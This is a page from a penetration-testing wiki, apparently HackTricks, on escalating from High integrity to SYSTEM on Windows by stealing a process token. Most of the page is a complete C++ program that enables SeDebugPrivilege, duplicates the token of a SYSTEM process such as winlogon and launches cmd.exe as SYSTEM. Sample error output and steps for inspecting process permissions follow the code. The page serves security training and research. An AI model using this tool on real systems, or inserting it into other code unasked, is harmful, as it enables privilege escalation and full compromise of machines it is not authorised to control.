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hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
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SeImpersonate from High To System

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Code

The following code from here. It allows to indicate a Process ID as argument and a CMD running as the user of the indicated process will be run.
Running in a High Integrity process you can indicate the PID of a process running as System (like winlogon, wininit) and execute a cmd.exe as system.

impersonateuser.exe 1234

{% code title="impersonateuser.cpp" %}

// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
	HANDLE hToken,          // access token handle
	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
	BOOL bEnablePrivilege   // to enable or disable privilege
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		lpszPrivilege,   // privilege to lookup
		&luid))        // receives LUID of privilege
	{
		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}
	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
	{
		printf("[-] The token does not have the specified privilege. \n");
		return FALSE;
	}
	return TRUE;
}
std::string get_username()
{
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);
	std::wstring username_w(username);
	std::string username_s(username_w.begin(), username_w.end());
	return username_s;
}
int main(int argc, char** argv) {
	// Print whoami to compare to thread later
	printf("[+] Current user is: %s\n", (get_username()).c_str());
	// Grab PID from command line argument
	char* pid_c = argv[1];
	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
	// Initialize variables and structures
	HANDLE tokenHandle = NULL;
	HANDLE duplicateTokenHandle = NULL;
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);
	// Add SE debug privilege
	HANDLE currentTokenHandle = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
	{
		printf("[+] SeDebugPrivilege enabled!\n");
	}
	// Call OpenProcess(), print return code and error code
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
		printf("[-] OpenProcess() Error: %i\n", GetLastError());
	}
	// Call OpenProcessToken(), print return code and error code
	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}
	// Impersonate user in a thread
	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
	if (GetLastError() == NULL)
	{
		printf("[+] ImpersonatedLoggedOnUser() success!\n");
		printf("[+] Current user is: %s\n", (get_username()).c_str());
		printf("[+] Reverting thread to original user context\n");
		RevertToSelf();
	}
	else
	{
		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
	}
	// Call DuplicateTokenEx(), print return code and error code
	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}
	// Call CreateProcessWithTokenW(), print return code and error code
	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
	if (GetLastError() == NULL)
		printf("[+] Process spawned!\n");
	else
	{
		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}
	return 0;
}

{% endcode %}

Error

On some occasions you may try to impersonate System and it won't work showing an output like the following:

[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

This means that even if you are running on a High Integrity level you don't have enough permissions.
Let's check current Administrator permissions over svchost.exe processes with processes explorer (or you can also use process hacker):

  1. Select a process of svchost.exe
  2. Right Click --> Properties
  3. Inside "Security" Tab click in the bottom right the button "Permissions"
  4. Click on "Advanced"
  5. Select "Administrators" and click on "Edit"
  6. Click on "Show advanced permissions"

The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of svchost.exe they only have "Query" privileges)

See the privileges "Administrators" have over winlogon.exe:

Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.

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